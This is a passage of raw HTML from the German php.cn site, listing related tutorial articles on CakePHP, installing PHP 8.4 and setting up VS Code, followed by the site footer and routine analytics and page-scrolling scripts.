class="phphistorical_Version2_mids"> <a href="https://www.php.cn/de/faq/1796604977.html" title="CakePHP-Projektkonfiguration" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/202409/10/2024091017250464952.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="CakePHP-Projektkonfiguration" /> </a> <a href="https://www.php.cn/de/faq/1796604977.html" title="CakePHP-Projektkonfiguration" class="phphistorical_Version2_mids_title">CakePHP-Projektkonfiguration</a> <span class="Articlelist_txts_time">Sep 10, 2024 pm 05:25 PM</span> <p class="Articlelist_txts_p">In diesem Kapitel werden wir die Umgebungsvariablen, die allgemeine Konfiguration, die Datenbankkonfiguration und die E-Mail-Konfiguration in CakePHP verstehen.</p> </div> <div class="phphistorical_Version2_mids"> <a href="https://www.php.cn/de/faq/1796733273.html" title="PHP 8.4 Installations- und Upgrade-Anleitung für Ubuntu und Debian" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/000/000/080/676a727698393240.png?x-oss-process=image/resize,m_fill,h_207,w_330" alt="PHP 8.4 Installations- und Upgrade-Anleitung für Ubuntu und Debian" /> </a> <a href="https://www.php.cn/de/faq/1796733273.html" title="PHP 8.4 Installations- und Upgrade-Anleitung für Ubuntu und Debian" class="phphistorical_Version2_mids_title">PHP 8.4 Installations- und Upgrade-Anleitung für Ubuntu und Debian</a> <span class="Articlelist_txts_time">Dec 24, 2024 pm 04:42 PM</span> <p class="Articlelist_txts_p">PHP 8.4 bringt mehrere neue Funktionen, Sicherheitsverbesserungen und Leistungsverbesserungen mit einer beträchtlichen Menge an veralteten und entfernten Funktionen. In dieser Anleitung wird erklärt, wie Sie PHP 8.4 installieren oder auf PHP 8.4 auf Ubuntu, Debian oder deren Derivaten aktualisieren. Obwohl es möglich ist, PHP aus dem Quellcode zu kompilieren, ist die Installation aus einem APT-Repository wie unten erläutert oft schneller und sicherer, da diese Repositorys in Zukunft die neuesten Fehlerbehebungen und Sicherheitsupdates bereitstellen.</p> </div> <div class="phphistorical_Version2_mids"> <a href="https://www.php.cn/de/faq/1796604998.html" title="CakePHP Datum und Uhrzeit" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/000/887/227/172596042710877.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="CakePHP Datum und Uhrzeit" /> </a> <a href="https://www.php.cn/de/faq/1796604998.html" title="CakePHP Datum und Uhrzeit" class="phphistorical_Version2_mids_title">CakePHP Datum und Uhrzeit</a> <span class="Articlelist_txts_time">Sep 10, 2024 pm 05:27 PM</span> <p class="Articlelist_txts_p">Um in cakephp4 mit Datum und Uhrzeit zu arbeiten, verwenden wir die verfügbare FrozenTime-Klasse.</p> </div> <div class="phphistorical_Version2_mids"> <a href="https://www.php.cn/de/faq/1796604999.html" title="CakePHP-Datei hochladen" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/000/000/164/172596043255110.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="CakePHP-Datei hochladen" /> </a> <a href="https://www.php.cn/de/faq/1796604999.html" title="CakePHP-Datei hochladen" class="phphistorical_Version2_mids_title">CakePHP-Datei hochladen</a> <span class="Articlelist_txts_time">Sep 10, 2024 pm 05:27 PM</span> <p class="Articlelist_txts_p">Um am Datei-Upload zu arbeiten, verwenden wir den Formular-Helfer. Hier ist ein Beispiel für den Datei-Upload.</p> </div> <div class="phphistorical_Version2_mids"> <a href="https://www.php.cn/de/faq/1796604978.html" title="CakePHP-Routing" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/000/465/014/172596030742788.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="CakePHP-Routing" /> </a> <a href="https://www.php.cn/de/faq/1796604978.html" title="CakePHP-Routing" class="phphistorical_Version2_mids_title">CakePHP-Routing</a> <span class="Articlelist_txts_time">Sep 10, 2024 pm 05:25 PM</span> <p class="Articlelist_txts_p">In diesem Kapitel lernen wir die folgenden Themen im Zusammenhang mit dem Routing kennen.</p> </div> <div class="phphistorical_Version2_mids"> <a href="https://www.php.cn/de/faq/1796605002.html" title="Besprechen Sie CakePHP" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/202409/10/2024091017281739989.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="Besprechen Sie CakePHP" /> </a> <a href="https://www.php.cn/de/faq/1796605002.html" title="Besprechen Sie CakePHP" class="phphistorical_Version2_mids_title">Besprechen Sie CakePHP</a> <span class="Articlelist_txts_time">Sep 10, 2024 pm 05:28 PM</span> <p class="Articlelist_txts_p">CakePHP ist ein Open-Source-Framework für PHP. Es soll die Entwicklung, Bereitstellung und Wartung von Anwendungen erheblich vereinfachen. CakePHP basiert auf einer MVC-ähnlichen Architektur, die sowohl leistungsstark als auch leicht zu verstehen ist. Modelle, Ansichten und Controller gu</p> </div> <div class="phphistorical_Version2_mids"> <a href="https://www.php.cn/de/faq/1796728164.html" title="So richten Sie Visual Studio-Code (VS-Code) für die PHP-Entwicklung ein" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/000/000/080/6764e39e44ffe544.png?x-oss-process=image/resize,m_fill,h_207,w_330" alt="So richten Sie Visual Studio-Code (VS-Code) für die PHP-Entwicklung ein" /> </a> <a href="https://www.php.cn/de/faq/1796728164.html" title="So richten Sie Visual Studio-Code (VS-Code) für die PHP-Entwicklung ein" class="phphistorical_Version2_mids_title">So richten Sie Visual Studio-Code (VS-Code) für die PHP-Entwicklung ein</a> <span class="Articlelist_txts_time">Dec 20, 2024 am 11:31 AM</span> <p class="Articlelist_txts_p">Visual Studio Code, auch bekannt als VS Code, ist ein kostenloser Quellcode-Editor – oder eine integrierte Entwicklungsumgebung (IDE) –, die für alle gängigen Betriebssysteme verfügbar ist. Mit einer großen Sammlung von Erweiterungen für viele Programmiersprachen kann VS Code c</p> </div> <div class="phphistorical_Version2_mids"> <a href="https://www.php.cn/de/faq/1796604997.html" title="CakePHP erstellt Validatoren" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/000/000/164/172596041825531.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="CakePHP erstellt Validatoren" /> </a> <a href="https://www.php.cn/de/faq/1796604997.html" title="CakePHP erstellt Validatoren" class="phphistorical_Version2_mids_title">CakePHP erstellt Validatoren</a> <span class="Articlelist_txts_time">Sep 10, 2024 pm 05:26 PM</span> <p class="Articlelist_txts_p">Der Validator kann durch Hinzufügen der folgenden zwei Zeilen im Controller erstellt werden.</p> </div> </div> <a href="https://www.php.cn/de/be/" class="phpgenera_Details_mainL4_botton"> <span>See all articles</span> <img src="/static/imghw/down_right.png" alt="" /> </a> </div> </div> </div> </main> <footer> <div class="footer"> <div class="footertop"> <img src="/static/imghw/logo.png" alt=""> <p>Online-PHP-Schulung für das Gemeinwohl,Helfen Sie PHP-Lernenden, sich schnell weiterzuentwickeln!</p> </div> <div class="footermid"> <a href="https://www.php.cn/de/about/us.html">Über uns</a> <a href="https://www.php.cn/de/about/disclaimer.html">Haftungsausschluss</a> <a href="https://www.php.cn/de/update/article_0_1.html">Sitemap</a> </div> <div class="footerbottom"> <p> © php.cn All rights reserved </p> </div> </div> </footer> <input type="hidden" id="verifycode" value="/captcha.html"> <script>layui.use(['element', 'carousel'], function () {var element = layui.element;$ = layui.jquery;var carousel = layui.carousel;carousel.render({elem: '#test1', width: '100%', height: '330px', arrow: 'always'});$.getScript('/static/js/jquery.lazyload.min.js', function () {$("img").lazyload({placeholder: "/static/images/load.jpg", effect: "fadeIn", threshold: 200, skip_invisible: false});});});</script> <script src="/static/js/common_new.js"></script> <script type="text/javascript" src="/static/js/jquery.cookie.js?1743579271"></script> <script src="https://vdse.bdstatic.com//search-video.v1.min.js"></script> <link rel='stylesheet' id='_main-css' href='/static/css/viewer.min.css?2' type='text/css' media='all' /> <script type='text/javascript' src='/static/js/viewer.min.js?1'></script> <script type='text/javascript' src='/static/js/jquery-viewer.min.js'></script> <script type="text/javascript" src="/static/js/global.min.js?5.5.53"></script> <script> var _paq = window._paq = window._paq || []; /* tracker methods like "setCustomDimension" should be called before "trackPageView" */ _paq.push(['trackPageView']); _paq.push(['enableLinkTracking']); (function () { var u = "https://tongji.php.cn/"; _paq.push(['setTrackerUrl', u + 'matomo.php']); _paq.push(['setSiteId', '9']); var d = document, g = d.createElement('script'), s = d.getElementsByTagName('script')[0]; g.async = true; g.src = u + 'matomo.js'; s.parentNode.insertBefore(g, s); })(); </script> <script> // top layui.use(function () { var util = layui.util; util.fixbar({ on: { mouseenter: function (type) { layer.tips(type, this, { tips: 4, fixed: true, }); }, mouseleave: function (type) { layer.closeAll("tips"); }, }, }); }); document.addEventListener("DOMContentLoaded", (event) => { // 定义一个函数来处理滚动链接的点击事件 function setupScrollLink(scrollLinkId, targetElementId) { const scrollLink = document.getElementById(scrollLinkId); const targetElement = document.getElementById(targetElementId); if (scrollLink && targetElement) { scrollLink.addEventListener("click", (e) => { e.preventDefault(); // 阻止默认链接行为 targetElement.scrollIntoView({ behavior: "smooth" }); // 平滑滚动到目标元素 }); } else { console.warn( `Either scroll link with ID '${scrollLinkId}' or target element with ID '${targetElementId}' not found.` ); } } // 使用该函数设置多个滚动链接 setupScrollLink("Article_Details_main1L2s_1", "article_main_title1"); setupScrollLink("Article_Details_main1L2s_2", "article_main_title2"); setupScrollLink("Article_Details_main1L2s_3", "article_main_title3"); setupScrollLink("Article_Details_main1L2s_4", "article_main_title4"); setupScrollLink("Article_Details_main1L2s_5", "article_main_title5"); setupScrollLink("Article_Details_main1L2s_6", "article_main_title6"); // 可以继续添加更多的滚动链接设置 }); window.addEventListener("scroll", function () { var fixedElement = document.getElementById("Article_Details_main1Lmain"); var scrollTop = window.scrollY || document.documentElement.scrollTop; // 兼容不同浏览器 var clientHeight = window.innerHeight || document.documentElement.clientHeight; // 视口高度 var scrollHeight = document.documentElement.scrollHeight; // 页面总高度 // 计算距离底部的距离 var distanceToBottom = scrollHeight - scrollTop - clientHeight; // 当距离底部小于或等于300px时,取消固定定位 if (distanceToBottom <= 980) { fixedElement.classList.remove("Article_Details_main1Lmain"); fixedElement.classList.add("Article_Details_main1Lmain_relative"); } else { // 否则,保持固定定位 fixedElement.classList.remove("Article_Details_main1Lmain_relative"); fixedElement.classList.add("Article_Details_main1Lmain"); } }); </script> </body> </html>